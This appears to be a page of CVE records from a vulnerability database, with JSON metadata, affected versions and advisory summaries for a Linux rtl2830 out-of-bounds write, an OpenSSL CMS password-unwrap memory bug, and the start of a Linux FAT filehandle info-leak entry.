Linux	Linux	Affected: df70ddad81b47c57bcccffc805fbd75f2f1b2dc6 , < 8ffbe7d07b8e76193b151107878ddc1ccc94deb5 (git) Affected: df70ddad81b47c57bcccffc805fbd75f2f1b2dc6 , < 883f794c6e498ae24680aead55c16f66b06cfc30 (git) Affected: df70ddad81b47c57bcccffc805fbd75f2f1b2dc6 , < badbd736e6649c4e6d7b4ff7e2b9857acfa9ea94 (git) Affected: df70ddad81b47c57bcccffc805fbd75f2f1b2dc6 , < 86d920d2600c3a48efc2775c1666c1017eec6956 (git) Affected: df70ddad81b47c57bcccffc805fbd75f2f1b2dc6 , < 3dba83d3c81de1368d15a39f22df7b53e306052f (git) Affected: df70ddad81b47c57bcccffc805fbd75f2f1b2dc6 , < 58f31be7dfbc0c84a6497ad51924949cf64b86a2 (git) Affected: df70ddad81b47c57bcccffc805fbd75f2f1b2dc6 , < 7fd6aae7e53b94f4035b1bfce28b8dfa0d0ae470 (git) Affected: df70ddad81b47c57bcccffc805fbd75f2f1b2dc6 , < 042b101d7bf70616c4967c286ffa6fcca65babfb (git) Affected: df70ddad81b47c57bcccffc805fbd75f2f1b2dc6 , < 46d7ebfe6a75a454a5fa28604f0ef1491f9d8d14 (git)
Linux	Linux	Affected: 4.0 Unaffected: 0 , < 4.0 (semver) Unaffected: 4.19.323 , ≤ 4.19.* (semver) Unaffected: 5.4.285 , ≤ 5.4.* (semver) Unaffected: 5.10.227 , ≤ 5.10.* (semver) Unaffected: 5.15.168 , ≤ 5.15.* (semver) Unaffected: 6.1.113 , ≤ 6.1.* (semver) Unaffected: 6.6.54 , ≤ 6.6.* (semver) Unaffected: 6.10.13 , ≤ 6.10.* (semver) Unaffected: 6.11.2 , ≤ 6.11.* (semver) Unaffected: 6.12 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-47697",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-10-21T13:05:04.931797Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-10-21T13:14:14.204Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T22:21:02.896Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00002.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:58:15.755Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-355557.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/media/dvb-frontends/rtl2830.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "8ffbe7d07b8e76193b151107878ddc1ccc94deb5",
              "status": "affected",
              "version": "df70ddad81b47c57bcccffc805fbd75f2f1b2dc6",
              "versionType": "git"
            },
            {
              "lessThan": "883f794c6e498ae24680aead55c16f66b06cfc30",
              "status": "affected",
              "version": "df70ddad81b47c57bcccffc805fbd75f2f1b2dc6",
              "versionType": "git"
            },
            {
              "lessThan": "badbd736e6649c4e6d7b4ff7e2b9857acfa9ea94",
              "status": "affected",
              "version": "df70ddad81b47c57bcccffc805fbd75f2f1b2dc6",
              "versionType": "git"
            },
            {
              "lessThan": "86d920d2600c3a48efc2775c1666c1017eec6956",
              "status": "affected",
              "version": "df70ddad81b47c57bcccffc805fbd75f2f1b2dc6",
              "versionType": "git"
            },
            {
              "lessThan": "3dba83d3c81de1368d15a39f22df7b53e306052f",
              "status": "affected",
              "version": "df70ddad81b47c57bcccffc805fbd75f2f1b2dc6",
              "versionType": "git"
            },
            {
              "lessThan": "58f31be7dfbc0c84a6497ad51924949cf64b86a2",
              "status": "affected",
              "version": "df70ddad81b47c57bcccffc805fbd75f2f1b2dc6",
              "versionType": "git"
            },
            {
              "lessThan": "7fd6aae7e53b94f4035b1bfce28b8dfa0d0ae470",
              "status": "affected",
              "version": "df70ddad81b47c57bcccffc805fbd75f2f1b2dc6",
              "versionType": "git"
            },
            {
              "lessThan": "042b101d7bf70616c4967c286ffa6fcca65babfb",
              "status": "affected",
              "version": "df70ddad81b47c57bcccffc805fbd75f2f1b2dc6",
              "versionType": "git"
            },
            {
              "lessThan": "46d7ebfe6a75a454a5fa28604f0ef1491f9d8d14",
              "status": "affected",
              "version": "df70ddad81b47c57bcccffc805fbd75f2f1b2dc6",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/media/dvb-frontends/rtl2830.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "4.0"
            },
            {
              "lessThan": "4.0",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.323",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.285",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.227",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.168",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.113",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.54",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.10.*",
              "status": "unaffected",
              "version": "6.10.13",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.11.*",
              "status": "unaffected",
              "version": "6.11.2",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.12",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.323",
                  "versionStartIncluding": "4.0",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.285",
                  "versionStartIncluding": "4.0",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.227",
                  "versionStartIncluding": "4.0",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.168",
                  "versionStartIncluding": "4.0",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.113",
                  "versionStartIncluding": "4.0",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.54",
                  "versionStartIncluding": "4.0",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10.13",
                  "versionStartIncluding": "4.0",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.11.2",
                  "versionStartIncluding": "4.0",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12",
                  "versionStartIncluding": "4.0",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrivers: media: dvb-frontends/rtl2830: fix an out-of-bounds write error\n\nEnsure index in rtl2830_pid_filter does not exceed 31 to prevent\nout-of-bounds access.\n\ndev-\u003efilters is a 32-bit value, so set_bit and clear_bit functions should\nonly operate on indices from 0 to 31. If index is 32, it will attempt to\naccess a non-existent 33rd bit, leading to out-of-bounds access.\nChange the boundary check from index \u003e 32 to index \u003e= 32 to resolve this\nissue."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:39:00.812Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/8ffbe7d07b8e76193b151107878ddc1ccc94deb5"
        },
        {
          "url": "https://git.kernel.org/stable/c/883f794c6e498ae24680aead55c16f66b06cfc30"
        },
        {
          "url": "https://git.kernel.org/stable/c/badbd736e6649c4e6d7b4ff7e2b9857acfa9ea94"
        },
        {
          "url": "https://git.kernel.org/stable/c/86d920d2600c3a48efc2775c1666c1017eec6956"
        },
        {
          "url": "https://git.kernel.org/stable/c/3dba83d3c81de1368d15a39f22df7b53e306052f"
        },
        {
          "url": "https://git.kernel.org/stable/c/58f31be7dfbc0c84a6497ad51924949cf64b86a2"
        },
        {
          "url": "https://git.kernel.org/stable/c/7fd6aae7e53b94f4035b1bfce28b8dfa0d0ae470"
        },
        {
          "url": "https://git.kernel.org/stable/c/042b101d7bf70616c4967c286ffa6fcca65babfb"
        },
        {
          "url": "https://git.kernel.org/stable/c/46d7ebfe6a75a454a5fa28604f0ef1491f9d8d14"
        }
      ],
      "title": "drivers: media: dvb-frontends/rtl2830: fix an out-of-bounds write error",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-47697",
    "datePublished": "2024-10-21T11:53:34.630Z",
    "dateReserved": "2024-09-30T16:00:12.942Z",
    "dateUpdated": "2026-05-12T11:58:15.755Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2025-9230 (GCVE-0-2025-9230)

Vulnerability from cvelistv5 – Published: 2025-09-30 13:17 – Updated: 2026-05-12 12:02

Title

Out-of-bounds read & write in RFC 3211 KEK Unwrap

Summary

Issue summary: An application trying to decrypt CMS messages encrypted using password based encryption can trigger an out-of-bounds read and write. Impact summary: This out-of-bounds read may trigger a crash which leads to Denial of Service for an application. The out-of-bounds write can cause a memory corruption which can have various consequences including a Denial of Service or Execution of attacker-supplied code. Although the consequences of a successful exploit of this vulnerability could be severe, the probability that the attacker would be able to perform it is low. Besides, password based (PWRI) encryption support in CMS messages is very rarely used. For that reason the issue was assessed as Moderate severity according to our Security Policy. The FIPS modules in 3.5, 3.4, 3.3, 3.2, 3.1 and 3.0 are not affected by this issue, as the CMS implementation is outside the OpenSSL FIPS module boundary.

Severity ?

No CVSS data available.

CWE

CWE-125 - Out-of-bounds Read
CWE-787 - Out-of-bounds Write

Assigner

openssl

References

8 references

URL	Tags
https://openssl-library.org/news/secadv/20250930.txt	vendor-advisory
https://github.com/openssl/openssl/commit/bae259a…	patch
https://github.com/openssl/openssl/commit/9e91358…	patch
https://github.com/openssl/openssl/commit/5965ea5…	patch
https://github.com/openssl/openssl/commit/b5282d6…	patch
https://github.com/openssl/openssl/commit/a79c4ce…	patch
https://github.openssl.org/openssl/extended-relea…	patch
https://github.openssl.org/openssl/extended-relea…	patch

Impacted products

1 product

Vendor	Product	Version
OpenSSL	OpenSSL	Affected: 3.5.0 , < 3.5.4 (semver) Affected: 3.4.0 , < 3.4.3 (semver) Affected: 3.3.0 , < 3.3.5 (semver) Affected: 3.2.0 , < 3.2.6 (semver) Affected: 3.0.0 , < 3.0.18 (semver) Affected: 1.1.1 , < 1.1.1zd (custom) Affected: 1.0.2 , < 1.0.2zm (custom)

Date Public ?

2025-09-30 14:00

Credits

Stanislav Fort (Aisle Research) Stanislav Fort (Aisle Research) Viktor Dukhovni

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "NETWORK",
              "availabilityImpact": "HIGH",
              "baseScore": 7.5,
              "baseSeverity": "HIGH",
              "confidentialityImpact": "NONE",
              "integrityImpact": "NONE",
              "privilegesRequired": "NONE",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2025-9230",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-09-30T19:30:08.302408Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-09-30T19:30:29.803Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-04T21:15:17.295Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/10/msg00001.html"
          },
          {
            "url": "http://www.openwall.com/lists/oss-security/2025/09/30/5"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.3",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.3",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCH328",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.3",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM324",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.3",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM328",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.3",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM332",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.3",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XRH334 (24 V DC, 8xFO, CC)",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.3",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XRM334 (230 V AC, 12xFO)",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.3",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XRM334 (230 V AC, 8xFO)",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.3",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XRM334 (230V AC, 2x10G, 24xSFP, 8xSFP+)",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.3",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XRM334 (24 V DC, 12xFO)",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.3",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XRM334 (24 V DC, 8xFO)",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.3",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XRM334 (24V DC, 2x10G, 24xSFP, 8xSFP+)",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.3",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XRM334 (2x230 V AC, 12xFO)",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.3",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XRM334 (2x230 V AC, 8xFO)",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.3",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XRM334 (2x230V AC, 2x10G, 24xSFP, 8xSFP+)",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.3",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIDIS Prime",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V4.0.800",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC CN 4100",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V5.0",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "V3.1.5",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "V3.1.5",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "V3.1.5",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "V3.1.5",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIPLUS S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "V3.1.5",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T12:02:39.851Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-082556.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-089022.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-485750.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-032379.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "OpenSSL",
          "vendor": "OpenSSL",
          "versions": [
            {
              "lessThan": "3.5.4",
              "status": "affected",
              "version": "3.5.0",
              "versionType": "semver"
            },
            {
              "lessThan": "3.4.3",
              "status": "affected",
              "version": "3.4.0",
              "versionType": "semver"
            },
            {
              "lessThan": "3.3.5",
              "status": "affected",
              "version": "3.3.0",
              "versionType": "semver"
            },
            {
              "lessThan": "3.2.6",
              "status": "affected",
              "version": "3.2.0",
              "versionType": "semver"
            },
            {
              "lessThan": "3.0.18",
              "status": "affected",
              "version": "3.0.0",
              "versionType": "semver"
            },
            {
              "lessThan": "1.1.1zd",
              "status": "affected",
              "version": "1.1.1",
              "versionType": "custom"
            },
            {
              "lessThan": "1.0.2zm",
              "status": "affected",
              "version": "1.0.2",
              "versionType": "custom"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "reporter",
          "value": "Stanislav Fort (Aisle Research)"
        },
        {
          "lang": "en",
          "type": "remediation developer",
          "value": "Stanislav Fort (Aisle Research)"
        },
        {
          "lang": "en",
          "type": "remediation developer",
          "value": "Viktor Dukhovni"
        }
      ],
      "datePublic": "2025-09-30T14:00:00.000Z",
      "descriptions": [
        {
          "lang": "en",
          "supportingMedia": [
            {
              "base64": false,
              "type": "text/html",
              "value": "Issue summary: An application trying to decrypt CMS messages encrypted using\u003cbr\u003epassword based encryption can trigger an out-of-bounds read and write.\u003cbr\u003e\u003cbr\u003eImpact summary: This out-of-bounds read may trigger a crash which leads to\u003cbr\u003eDenial of Service for an application. The out-of-bounds write can cause\u003cbr\u003ea memory corruption which can have various consequences including\u003cbr\u003ea Denial of Service or Execution of attacker-supplied code.\u003cbr\u003e\u003cbr\u003eAlthough the consequences of a successful exploit of this vulnerability\u003cbr\u003ecould be severe, the probability that the attacker would be able to\u003cbr\u003eperform it is low. Besides, password based (PWRI) encryption support in CMS\u003cbr\u003emessages is very rarely used. For that reason the issue was assessed as\u003cbr\u003eModerate severity according to our Security Policy.\u003cbr\u003e\u003cbr\u003eThe FIPS modules in 3.5, 3.4, 3.3, 3.2, 3.1 and 3.0 are not affected by this\u003cbr\u003eissue, as the CMS implementation is outside the OpenSSL FIPS module\u003cbr\u003eboundary."
            }
          ],
          "value": "Issue summary: An application trying to decrypt CMS messages encrypted using\npassword based encryption can trigger an out-of-bounds read and write.\n\nImpact summary: This out-of-bounds read may trigger a crash which leads to\nDenial of Service for an application. The out-of-bounds write can cause\na memory corruption which can have various consequences including\na Denial of Service or Execution of attacker-supplied code.\n\nAlthough the consequences of a successful exploit of this vulnerability\ncould be severe, the probability that the attacker would be able to\nperform it is low. Besides, password based (PWRI) encryption support in CMS\nmessages is very rarely used. For that reason the issue was assessed as\nModerate severity according to our Security Policy.\n\nThe FIPS modules in 3.5, 3.4, 3.3, 3.2, 3.1 and 3.0 are not affected by this\nissue, as the CMS implementation is outside the OpenSSL FIPS module\nboundary."
        }
      ],
      "metrics": [
        {
          "format": "other",
          "other": {
            "content": {
              "text": "Moderate"
            },
            "type": "https://openssl-library.org/policies/general/security-policy/"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-125",
              "description": "CWE-125 Out-of-bounds Read",
              "lang": "en",
              "type": "CWE"
            },
            {
              "cweId": "CWE-787",
              "description": "CWE-787 Out-of-bounds Write",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2025-09-30T13:17:00.808Z",
        "orgId": "3a12439a-ef3a-4c79-92e6-6081a721f1e5",
        "shortName": "openssl"
      },
      "references": [
        {
          "name": "OpenSSL Advisory",
          "tags": [
            "vendor-advisory"
          ],
          "url": "https://openssl-library.org/news/secadv/20250930.txt"
        },
        {
          "name": "3.5.4 git commit",
          "tags": [
            "patch"
          ],
          "url": "https://github.com/openssl/openssl/commit/bae259a211ada6315dc50900686daaaaaa55f482"
        },
        {
          "name": "3.4.3 git commit",
          "tags": [
            "patch"
          ],
          "url": "https://github.com/openssl/openssl/commit/9e91358f365dee6c446dcdcdb01c04d2743fd280"
        },
        {
          "name": "3.3.5 git commit",
          "tags": [
            "patch"
          ],
          "url": "https://github.com/openssl/openssl/commit/5965ea5dd6960f36d8b7f74f8eac67a8eb8f2b45"
        },
        {
          "name": "3.2.6 git commit",
          "tags": [
            "patch"
          ],
          "url": "https://github.com/openssl/openssl/commit/b5282d677551afda7d20e9c00e09561b547b2dfd"
        },
        {
          "name": "3.0.18 git commit",
          "tags": [
            "patch"
          ],
          "url": "https://github.com/openssl/openssl/commit/a79c4ce559c6a3a8fd4109e9f33c1185d5bf2def"
        },
        {
          "name": "1.1.1zd git commit",
          "tags": [
            "patch"
          ],
          "url": "https://github.openssl.org/openssl/extended-releases/commit/dfbaf161d8dafc1132dd88cd48ad990ed9b4c8ba"
        },
        {
          "name": "1.0.2zm git commit",
          "tags": [
            "patch"
          ],
          "url": "https://github.openssl.org/openssl/extended-releases/commit/c2b96348bfa662f25f4fabf81958ae822063dae3"
        }
      ],
      "source": {
        "discovery": "UNKNOWN"
      },
      "title": "Out-of-bounds read \u0026 write in RFC 3211 KEK Unwrap",
      "x_generator": {
        "engine": "Vulnogram 0.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "3a12439a-ef3a-4c79-92e6-6081a721f1e5",
    "assignerShortName": "openssl",
    "cveId": "CVE-2025-9230",
    "datePublished": "2025-09-30T13:17:00.808Z",
    "dateReserved": "2025-08-20T08:38:07.678Z",
    "dateUpdated": "2026-05-12T12:02:39.851Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-26973 (GCVE-0-2024-26973)

Vulnerability from cvelistv5 – Published: 2024-05-01 05:20 – Updated: 2026-05-12 11:50

Title

fat: fix uninitialized field in nostale filehandles

Summary

In the Linux kernel, the following vulnerability has been resolved: fat: fix uninitialized field in nostale filehandles When fat_encode_fh_nostale() encodes file handle without a parent it stores only first 10 bytes of the file handle. However the length of the file handle must be a multiple of 4 so the file handle is actually 12 bytes long and the last two bytes remain uninitialized. This is not great at we potentially leak uninitialized information with the handle to userspace. Properly initialize the full handle length.

Severity ?

No CVSS data available.

Assigner

Linux

References

9 references

URL	Tags
https://git.kernel.org/stable/c/9840d1897e28f8733…
https://git.kernel.org/stable/c/f52d7663a10a1266a…
https://git.kernel.org/stable/c/a276c595c3a629170…
https://git.kernel.org/stable/c/b7fb63e807c6dadf7…
https://git.kernel.org/stable/c/c8cc05de8e6b5612b…
https://git.kernel.org/stable/c/03a7e3f2ba3ca25f1…
https://git.kernel.org/stable/c/74f852654b8b7866f…
https://git.kernel.org/stable/c/cdd33d54e789d229d…
https://git.kernel.org/stable/c/fde2497d2bc3a063d…

Impacted products

2 products

Vendor	Product	Version
